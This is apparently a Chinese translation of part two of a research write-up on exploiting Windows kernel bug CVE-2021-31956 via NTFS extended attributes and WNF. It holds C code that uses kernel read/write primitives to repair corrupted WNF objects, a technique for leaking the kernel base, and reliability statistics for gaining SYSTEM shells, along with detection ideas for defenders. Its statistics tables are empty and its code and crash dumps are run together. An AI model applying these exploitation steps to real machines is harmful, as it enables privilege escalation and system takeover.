00000000`c000013a 00000000`00000001 ffffdc87`2a7099e0 00000055`8b6d6000 : nt!PspExitThread+0x5eb0f ffffdc87`2a7098d0 fffff807`276e6ca7 : 00000000`0000000000000000`0000000000000000`00000000 fffff807`276f0ee6 : nt!KiSchedulerApcTerminate+0x3810 ffffdc87`2a709910 fffff807`277f8440 : 00000000`00000000 ffffdc87`2a7099c0 ffffdc87`2a709b80 ffffffff`00000000 : nt!KiDeliverApc+0x48711 ffffdc87`2a7099c0 fffff807`2780595f : ffffa409`7129300000000251`173f2b90 00000000`0000000000000000`00000000 : nt!KiInitiateUserApc+0x7012 ffffdc87`2a709b00 00007ff9`18cabe44 : 00007ff9`165d26ee 00000000`0000000000000000`0000000000000000`00000000 : nt!KiSystemServiceExit+0x9f (TrapFrame @ ffffdc87`2a709b00)1300000055`8b8ffb28 00007ff9`165d26ee : 00000000`0000000000000000`0000000000000000`0000000000007ff9`18c5a800 : ntdll!NtWaitForSingleObject+0x141400000055`8b8ffb30 00000000`00000000 : 00000000`0000000000000000`0000000000007ff9`18c5a800 00000000`00000000 : 0x00007ff9`165d26ee
虽然我们可以使用 WNF 的相对读写功能来恢复,但由于我们已经通过 API 实现了任意读写,因此我们可以实现一个函数,利用之前保存的 ScopeInstance 指针来搜索目标_WNF_NAME_INSTANCE
对象的 StateName。
其可视化表示如下:
以下是示例代码:
/*** This function returns back the address of a _WNF_NAME_INSTANCE looked up by its internal StateName* It performs an _RTL_AVL_TREE tree walk against the sorted tree of _WNF_NAME_INSTANCES. * The tree root is at _WNF_SCOPE_INSTANCE+0x38 (NameSet)**/QWORD* FindStateName(unsigned __int64 StateName){ QWORD* i;// _WNF_SCOPE_INSTANCE+0x38 (NameSet)for (i = (QWORD*)read64((char*)BackupScopeInstance+0x38); ; i = (QWORD*)read64((char*)i + 0x8)) {while (1) {if (!i)return0;// StateName is 0x18 after the TreeLinks FLINK QWORD CurrStateName = (QWORD)read64((char*)i + 0x18);if (StateName >= CurrStateName)break; i = (QWORD*)read64(i); } QWORD CurrStateName = (QWORD)read64((char*)i + 0x18);if (StateName <= CurrStateName)break; }return (QWORD*)((QWORD*)i - 2);}
在获取到 _WNF_NAME_INSTANCE 后,我们就可以恢复原始的 StateData 指针。
RunRef 恢复
接下来遇到的崩溃问题与我们可能在获取无边界 _WNF_STATE_DATA
的过程中损坏了多个 _WNF_NAME_INSTANCE
的 RunRef 有关。当调用 ExReleaseRundownProtection[9] 时,如果存在无效值,将会导致如下崩溃:
1: kd> kv # Child-SP RetAddr : Args to Child : Call Site00 ffffeb0f`0e9e5bf8 fffff805`2f512082 : ffffeb0f`0e9e5d60 fffff805`2f37b1d0 00000000`0000000000000000`00000000 : nt!DbgBreakPointWithStatus01 ffffeb0f`0e9e5c00 fffff805`2f511666 : 00000000`00000003 ffffeb0f`0e9e5d60 fffff805`2f408e90 00000000`0000003b : nt!KiBugCheckDebugBreak+0x1202 ffffeb0f`0e9e5c60 fffff805`2f3f3fa7 : 00000000`0000010300000000`00000000 fffff805`2f0e3838 ffffc807`cdb5e5e8 : nt!KeBugCheck2+0x94603 ffffeb0f`0e9e6370 fffff805`2f405e69 : 00000000`0000003b00000000`c0000005 fffff805`2f242c32 ffffeb0f`0e9e6cb0 : nt!KeBugCheckEx+0x10704 ffffeb0f`0e9e63b0 fffff805`2f4052bc : ffffeb0f`0e9e7478 fffff805`2f0e3838 ffffeb0f`0e9e65a0 00000000`00000000 : nt!KiBugCheckDispatch+0x6905 ffffeb0f`0e9e64f0 fffff805`2f3fcd5f : fffff805`2f405240 00000000`0000000000000000`0000000000000000`00000000 : nt!KiSystemServiceHandler+0x7c06 ffffeb0f`0e9e6530 fffff805`2f285027 : ffffeb0f`0e9e6aa0 00000000`00000000 ffffeb0f`0e9e7b00 fffff805`2f40595f : nt!RtlpExecuteHandlerForException+0xf07 ffffeb0f`0e9e6560 fffff805`2f283ce6 : ffffeb0f`0e9e7478 ffffeb0f`0e9e71b0 ffffeb0f`0e9e7478 ffffa300`da5eb5d8 : nt!RtlDispatchException+0x29708 ffffeb0f`0e9e6c80 fffff805`2f405fac : ffff521f`0e9e8ad8 ffffeb0f`0e9e7560 00000000`0000000000000000`00000000 : nt!KiDispatchException+0x18609 ffffeb0f`0e9e7340 fffff805`2f401ce0 : 00000000`0000000000000000`00000000 ffffffff`ffffffff ffffa300`daf84000 : nt!KiExceptionDispatch+0x12c0a ffffeb0f`0e9e7520 fffff805`2f242c32 : ffffc807`ce062a50 fffff805`2f2df0dd ffffc807`ce062400 ffffa300`da5eb5d8 : nt!KiGeneralProtectionFault+0x320 (TrapFrame @ ffffeb0f`0e9e7520)0b ffffeb0f`0e9e76b0 fffff805`2f2e8664 : 00000000`00000006 ffffa300`d449d8a0 ffffa300`da5eb5d8 ffffa300`db013360 : nt!ExfReleaseRundownProtection+0x320c ffffeb0f`0e9e76e0 fffff805`2f658318 : ffffffff`00000000 ffffa300`00000000 ffffc807`ce062a50 ffffa300`00000000 : nt!ExReleaseRundownProtection+0x240d ffffeb0f`0e9e7710 fffff805`2f846003 : ffffffff`ffffffff ffffa300`db013360 ffffa300`da5eb5a0 00000000`00000000 : nt!ExpWnfDeleteNameInstance+0x1dc0e ffffeb0f`0e9e7760 fffff805`2f70553e : 00000000`00000000 ffffeb0f`0e9e7990 00000000`0000000000000000`00000000 : nt!ExpWnfDeleteProcessContext+0x140a9b0f ffffeb0f`0e9e77a0 fffff805`2f69ea7f : ffffc807`ce0700c0 ffffa300`d2c506a0 ffffeb0f`0e9e7990 00000000`00000000 : nt!ExWnfExitProcess+0x3210 ffffeb0f`0e9e77d0 fffff805`2f5f4558 : 00000000`c000013a 00000000`00000001 ffffeb0f`0e9e79e0 000000f1`f98db000 : nt!PspExitThread+0x5eb11 ffffeb0f`0e9e78d0 fffff805`2f2e6ca7 : 00000000`0000000000000000`0000000000000000`00000000 fffff805`2f2f0ee6 : nt!KiSchedulerApcTerminate+0x3812 ffffeb0f`0e9e7910 fffff805`2f3f8440 : 00000000`00000000 ffffeb0f`0e9e79c0 ffffeb0f`0e9e7b80 ffffffff`00000000 : nt!KiDeliverApc+0x48713 ffffeb0f`0e9e79c0 fffff805`2f40595f : ffffc807`ce062400 0000020b`04f64b90 00000000`0000000000000000`00000000 : nt!KiInitiateUserApc+0x7014 ffffeb0f`0e9e7b00 00007ff9`8314be44 : 00007ff9`80aa26ee 00000000`0000000000000000`0000000000000000`00000000 : nt!KiSystemServiceExit+0x9f (TrapFrame @ ffffeb0f`0e9e7b00)15000000f1`f973f678 00007ff9`80aa26ee : 00000000`0000000000000000`0000000000000000`0000000000007ff9`830fa800 : ntdll!NtWaitForSingleObject+0x1416000000f1`f973f680 00000000`00000000 : 00000000`0000000000000000`0000000000007ff9`830fa800 00000000`00000000 : 0x00007ff9`80aa26ee
要正确恢复这些对象,我们需要思考这些对象在内存中的布局方式,以及如何获取所有可能已损坏的 _WNF_NAME_INSTANCE
的完整列表。
在 _EPROCESS
结构中,我们有一个成员 WnfContext,它是指向 _WNF_PROCESS_CONTEXT
的指针。
其结构如下所示:
nt!_WNF_PROCESS_CONTEXT +0x000 Header : _WNF_NODE_HEADER +0x008 Process : Ptr64 _EPROCESS +0x010 WnfProcessesListEntry : _LIST_ENTRY +0x020 ImplicitScopeInstances : [3] Ptr64 Void +0x038 TemporaryNamesListLock : _WNF_LOCK +0x040 TemporaryNamesListHead : _LIST_ENTRY +0x050 ProcessSubscriptionListLock : _WNF_LOCK +0x058 ProcessSubscriptionListHead : _LIST_ENTRY +0x068 DeliveryPendingListLock : _WNF_LOCK +0x070 DeliveryPendingListHead : _LIST_ENTRY +0x080 NotificationEvent : Ptr64 _KEVENT
如你所见,_WNF_NAME_INSTANCE
结构体中有一个成员 TemporaryNamesListHead,它是一个指向 _WNF_NAME_INSTANCE
内部 TemporaryNamesListHead 的链表。
因此,我们可以通过使用任意读取原语(arbitrary read primitives)遍历这个链表,计算出每个 _WNF_NAME_INSTANCE
的地址。
然后我们可以判断 Header 或 RunRef 是否已被破坏,并将其恢复为一个不会导致蓝屏(BSOD)的安全值(即 0)。
示例如下:
/*** This function starts from the EPROCESS WnfContext which points at a _WNF_PROCESS_CONTEXT* The _WNF_PROCESS_CONTEXT contains a TemporaryNamesListHead at 0x40 offset. * This linked list is then traversed to locate all _WNF_NAME_INSTANCES and the header and RunRef fixed up.**/voidFindCorruptedRunRefs(LPVOID wnf_process_context_ptr){// +0x040 TemporaryNamesListHead : _LIST_ENTRY LPVOID first = read64((char*)wnf_process_context_ptr + 0x40); LPVOID ptr; for (ptr = read64(read64((char*)wnf_process_context_ptr + 0x40)); ; ptr = read64(ptr)) {if (ptr == first) return;// +0x088 TemporaryNameListEntry : _LIST_ENTRY QWORD* nameinstance = (QWORD*)ptr - 17; QWORD header = (QWORD)read64(nameinstance);if (header != 0x0000000000A80903) {// Fix the header up. write64(nameinstance, 0x0000000000A80903);// Fix the RunRef up. write64((char*)nameinstance + 0x8, 0); } }}
NTOSKRNL 基址
虽然这个漏洞利用实际上并不需要获取 NTOSKRNL 的基址,但我需要获取它来加速对段堆(segment heap)的检查和调试。通过访问 EPROCESS/KPROCESS 或 ETHREAD/KTHREAD,我们可以从内核栈中获取 NTOSKRNL 的基址。通过将一个新创建的线程置于等待状态,我们可以遍历该线程的内核栈,并获取一个已知函数的返回地址。利用这个地址和一个固定的偏移量,我们就可以计算出 NTOSKRNL 的基址。在 KernelForge[10] 中也使用了类似的技术。
以下输出显示了处于等待状态的线程:
0: kd> !thread ffffbc037834b080THREAD ffffbc037834b080 Cid 1ed8.1f54 Teb: 000000537ff92000 Win32Thread: 0000000000000000 WAIT: (UserRequest) UserMode Non-Alertable ffffbc037d7f7a60 SynchronizationEventNot impersonatingDeviceMap ffff988cca61adf0Owning Process ffffbc037d8a4340 Image: amberzebra.exeAttached Process N/A Image: N/AWait Start TickCount 3234 Ticks: 542 (0:00:00:08.468)Context Switch Count 4 IdealProcessor: 1UserTime 00:00:00.000KernelTime 00:00:00.000Win32 Start Address 0x00007ff6e77b1710Stack Init ffffd288fe699c90 Current ffffd288fe6996a0Base ffffd288fe69a000 Limit ffffd288fe694000 Call 0000000000000000Priority 8 BasePriority 8 PriorityDecrement 0 IoPriority 2 PagePriority 5Child-SP RetAddr : Args to Child : Call Siteffffd288`fe6996e0 fffff804`818e4540 : fffff804`7d17d180 00000000`ffffffff ffffd288`fe699860 ffffd288`fe699a20 : nt!KiSwapContext+0x76ffffd288`fe699820 fffff804`818e3a6f : 00000000`0000000000000000`00000001 ffffd288`fe6999e0 00000000`00000000 : nt!KiSwapThread+0x500ffffd288`fe6998d0 fffff804`818e3313 : 00000000`00000000 fffff804`00000000 ffffbc03`7c41d500 ffffbc03`7834b1c0 : nt!KiCommitThreadWait+0x14fffffd288`fe699970 fffff804`81cd6261 : ffffbc03`7d7f7a60 00000000`0000000600000000`0000000100000000`00000000 : nt!KeWaitForSingleObject+0x233ffffd288`fe699a60 fffff804`81cd630a : ffffbc03`7834b080 00000000`0000000000000000`0000000000000000`00000000 : nt!ObWaitForSingleObject+0x91ffffd288`fe699ac0 fffff804`81a058b5 : ffffbc03`7834b080 00000000`0000000000000000`0000000000000000`00000000 : nt!NtWaitForSingleObject+0x6affffd288`fe699b00 00007ffc`c0babe44 : 00000000`0000000000000000`0000000000000000`0000000000000000`00000000 : nt!KiSystemServiceCopyEnd+0x25 (TrapFrame @ ffffd288`fe699b00)00000053`003ffc68 00000000`00000000 : 00000000`0000000000000000`0000000000000000`0000000000000000`00000000 : ntdll!NtWaitForSingleObject+0x14
漏洞利用测试与统计
由于该漏洞利用存在一些不稳定性和非确定性因素,因此开发了一个漏洞利用测试框架,用于评估在不同平台和不同参数设置下的有效性。虽然这个实验室环境并不能完全代表一个长期运行、可能安装了第三方驱动程序且内核池更加复杂的操作系统,但它仍然能够在一定程度上证明该方法的可行性,并为可能的检测机制提供参考。
该漏洞利用的关键可调参数包括:
-
喷射大小(Spray size) -
后利用阶段的选择
所有测试均基于 100 次漏洞利用迭代(共 5 轮),超时时间设置为 15 秒(即在漏洞利用执行后 15 秒内未发生蓝屏)。
SYSTEM shells - 成功获取 SYSTEM shell 的次数
Total LFH Writes - 在 100 次漏洞利用中触发的内存破坏总次数
Avg LFH Writes - 获取 SYSTEM shell 所需的平均 LFH 溢出次数
Failed after 32 - 达到最大溢出尝试次数(32 次)仍未成功破坏目标对象类型的次数。选择 32 次是基于经验测试和 LFH 的 BlockBitmap 以 32 个块为一组进行扫描的特性。
BSODs on exec - 漏洞利用执行导致系统蓝屏的次数
Unmapped Read - 相对读取访问到未映射内存的次数(ExpWnfReadStateData),已包含在上述 BSOD 计数中
喷射大小变化测试
以下统计数据展示了不同喷射大小下的测试结果。
喷射大小 3000
|
|
|
|
|
|
|
---|---|---|---|---|---|---|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
喷射大小 6000
|
|
|
|
|
|
|
---|---|---|---|---|---|---|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
喷射大小 10000
|
|
|
|
|
|
|
---|---|---|---|---|---|---|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
喷射大小 20000
|
|
|
|
|
|
|
---|---|---|---|---|---|---|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
从数据可以看出,增加喷射大小可以显著降低访问未映射内存的概率,从而减少蓝屏的发生次数。
平均而言,无论喷射大小如何变化,获取正确内存布局所需的溢出次数基本保持不变。
后利用方法变化测试
我还测试了不同的后利用方法(令牌窃取与修改现有令牌)。选择测试这一点的原因是,使用令牌窃取方法需要进行更多的内核读写操作,并且在恢复 PreviousMode 之前的时间间隔更长。
喷射大小 20000
启用所有_SEP_TOKEN_PRIVILEGES:
|
|
|
|
|
|
|
---|---|---|---|---|---|---|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
因此,这两种方法之间的差异可以忽略不计。
检测机制
通过这些研究,我们能否为防御者提供一些帮助?
首先,微软已于 2021 年 6 月 8 日发布了该漏洞的补丁[11]。如果您正在阅读本文但尚未应用该补丁,那么显然您的补丁管理生命周期存在更大的问题需要关注 🙂
然而,我们可以从中获得一些工程洞察,这些洞察对于检测野外的内存破坏漏洞利用具有普遍意义。我将重点关注漏洞本身和这个特定的漏洞利用,而不是已经被许多在线文章讨论过的通用后利用技术检测(如令牌窃取等)。由于我从未接触过野外的漏洞利用,这些检测机制可能不适用于实际攻击场景。无论如何,这项研究应该能够让安全研究人员在这一领域获得更深入的理解。
该漏洞利用的主要特征包括:
-
NTFS 扩展属性的创建和查询 -
WNF 对象的创建(作为喷射的一部分) -
失败的漏洞利用尝试导致的蓝屏
NTFS 扩展属性
首先,通过检查 Windows 的 ETW(Event Tracing for Windows)框架,我们发现Microsoft-Windows-Kernel-File[12]提供程序暴露了"SetEa"和"QueryEa"事件。
这些事件可以通过 ETW 跟踪捕获:
由于该漏洞可以在低完整性级别下被利用(例如从沙箱中),因此检测机制会根据攻击者是否具有本地代码执行权限或是否与浏览器漏洞利用链结合而有所不同。
基于端点检测和响应(EDR)的检测思路是,如果浏览器渲染进程同时执行了这两个操作(在使用该漏洞利用突破浏览器沙箱的情况下),就值得深入调查。例如,在加载新标签页和网页时,浏览器进程"MicrosoftEdge.exe"在正常操作下会合法地触发这些事件,而沙盒化的渲染器进程"MicrosoftEdgeCP.exe"则不会。Chrome 在加载新标签页和网页时也不会触发这些事件。我没有深入研究是否存在任何非恶意的渲染操作可能触发这些事件,但这为防御者提供了一个可以进一步探索的方向。
WNF 操作
第二个研究领域是确定 WNF 相关操作是否会产生任何 ETW 事件。通过查看"Microsoft-Windows-Kernel-*"提供程序,我没有找到任何有助于此领域的相关事件。因此,通过 ETW 日志记录检测 WNF 操作似乎不可行。这是意料之中的,因为 WNF 子系统原本就不打算供非微软代码使用。
崩溃转储遥测
崩溃转储是检测不可靠的漏洞利用技术或漏洞利用开发者无意中将开发系统连接到网络的一个非常好的方法。MS08-067 是微软利用WER 遥测[13]识别 0day 漏洞的一个著名案例。这是通过查找 shellcode 发现的,然而,某些崩溃在生产版本中出现时相当可疑。苹果似乎也在iMessage[14]中添加了可疑崩溃的遥测功能。
在使用 WNF 利用该特定漏洞的情况下,有较小概率(约<5%)会发生以下蓝屏,这可能作为检测特征:
Child-SP RetAddr Call Siteffff880f`6b3b7d18 fffff802`1e112082 nt!DbgBreakPointWithStatusffff880f`6b3b7d20 fffff802`1e111666 nt!KiBugCheckDebugBreak+0x12ffff880f`6b3b7d80 fffff802`1dff3fa7 nt!KeBugCheck2+0x946ffff880f`6b3b8490 fffff802`1e0869d9 nt!KeBugCheckEx+0x107ffff880f`6b3b84d0 fffff802`1deeeb80 nt!MiSystemFault+0x13fda9ffff880f`6b3b85d0 fffff802`1e00205e nt!MmAccessFault+0x400ffff880f`6b3b8770 fffff802`1e006ec0 nt!KiPageFault+0x35effff880f`6b3b8908 fffff802`1e218528 nt!memcpy+0x100ffff880f`6b3b8910 fffff802`1e217a97 nt!ExpWnfReadStateData+0xa4ffff880f`6b3b8980 fffff802`1e0058b5 nt!NtQueryWnfStateData+0x2d7ffff880f`6b3b8a90 00007ffe`e828ea14 nt!KiSystemServiceCopyEnd+0x2500000082`054ff968 00007ff6`e0322948 0x00007ffe`e828ea1400000082`054ff970 0000019a`d26b2190 0x00007ff6`e032294800000082`054ff978 00000082`054fe94e 0x0000019a`d26b219000000082`054ff980 00000000`000000950x00000082`054fe94e00000082`054ff988 00000000`000000a0 0x9500000082`054ff990 0000019a`d26b71e0 0xa000000082`054ff998 00000082`054ff9b4 0x0000019a`d26b71e000000082`054ff9a0 00000000`000000000x00000082`054ff9b4
在正常操作下,我们不会期望由 WNF 子系统触发的 memcpy 操作在访问未映射内存时出现故障。虽然这种遥测技术可能会在攻击者获得代码执行之前发现攻击尝试。然而,一旦攻击者获得了内核代码执行权限或 SYSTEM 权限,他们可能会直接禁用遥测功能或在事后清理日志——特别是在漏洞利用后可能导致系统不稳定的情况下。Windows 11 似乎已经通过以下策略设置添加了额外的 ETW 日志记录,以确定何时修改了这些设置:
Windows 11 ETW 事件[15]
结论
本文展示了漏洞利用开发者为实现比简单 POC 更可靠和稳定的代码执行所需付出的额外努力。
目前,我们已经开发出了一个比简单 POC 更成功且不太可能导致目标系统不稳定的漏洞利用程序。然而,由于所使用的技术,我们只能获得约 90% 的成功率。这似乎是这种方法的极限,而且没有使用其他漏洞利用原语。本文还提供了一些识别该漏洞利用和检测内存破坏漏洞的潜在方法示例。
致谢
Boris Larin[16],感谢他发现这个在野被利用的 0day 漏洞并撰写初步分析报告。
Yan ZiShuang[17],感谢他对该漏洞利用进行并行研究并撰写博客文章。
Alex Ionescu[18]和Gabrielle Viala[19],感谢他们对 WNF 的初步文档记录。
Corentin Bayet[20]、Paul Fariello[21]、Yarden Shafir[22]、Angelboy[23]、Mark Yason[24],感谢他们发表关于 Windows 10 段池/堆的研究。
Aaron Adams[25]和Cedric Halbronn[26],感谢他们围绕这项研究进行的多次质量保证和讨论。
参考资料
第一部分: https://research.nccgroup.com/2021/07/15/cve-2021-31956-exploiting-the-windows-kernel-ntfs-with-wnf-part-1/
[2]CVE-2021-31956: https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-31956
[3]CVE-2021-31955: https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-31955
[4]Yan ZiShuang: https://twitter.com/yanzishuang
[5]这篇博客文章: https://vul.360.net/archives/83
[6]PreviousMode: https://docs.microsoft.com/en-us/windows-hardware/drivers/kernel/previousmode
[7]Exploiting Windows KTM: https://research.nccgroup.com/2020/05/25/cve-2018-8611-exploiting-windows-ktm-part-5-5-vulnerability-detection-and-a-better-read-write-primitive/
[8]Exploiting Windows KTM: https://research.nccgroup.com/2020/05/25/cve-2018-8611-exploiting-windows-ktm-part-5-5-vulnerability-detection-and-a-better-read-write-primitive/
[9]ExReleaseRundownProtection: https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/wdm/nf-wdm-exreleaserundownprotection
[10]KernelForge: https://github.com/Cr4sh/KernelForge
[11]补丁: https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-31956
[12]Microsoft-Windows-Kernel-File: https://github.com/repnz/etw-providers-docs/blob/master/Manifests-Win10-18990/Microsoft-Windows-Kernel-File.xml#L39
[13]WER 遥测: https://github.com/JohnLaTwC/Shared/blob/master/The%20Inside%20Story%20Behind%20MS08-067.md
[14]iMessage: https://googleprojectzero.blogspot.com/2021/01/a-look-at-imessage-in-ios-14.html
[15]Windows 11 ETW 事件: https://blog.tofile.dev/2021/07/01/windows11.html
[16]Boris Larin: https://twitter.com/oct0xor
[17]Yan ZiShuang: https://twitter.com/yanzishuang
[18]Alex Ionescu: https://twitter.com/aionescu
[19]Gabrielle Viala: https://twitter.com/pwissenlit
[20]Corentin Bayet: https://twitter.com/onlytheduck
[21]Paul Fariello: https://twitter.com/paulfariello
[22]Yarden Shafir: https://twitter.com/yarden_shafir
[23]Angelboy: https://twitter.com/scwuaptx
[24]Mark Yason: https://twitter.com/markyason
[25]Aaron Adams: https://twitter.com/FidgetingBits
[26]Cedric Halbronn: https://twitter.com/saidelike
原文始发于微信公众号(securitainment):CVE-2021-31956 Windows 内核漏洞(NTFS 与 WNF)利用 —— 第二部分
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论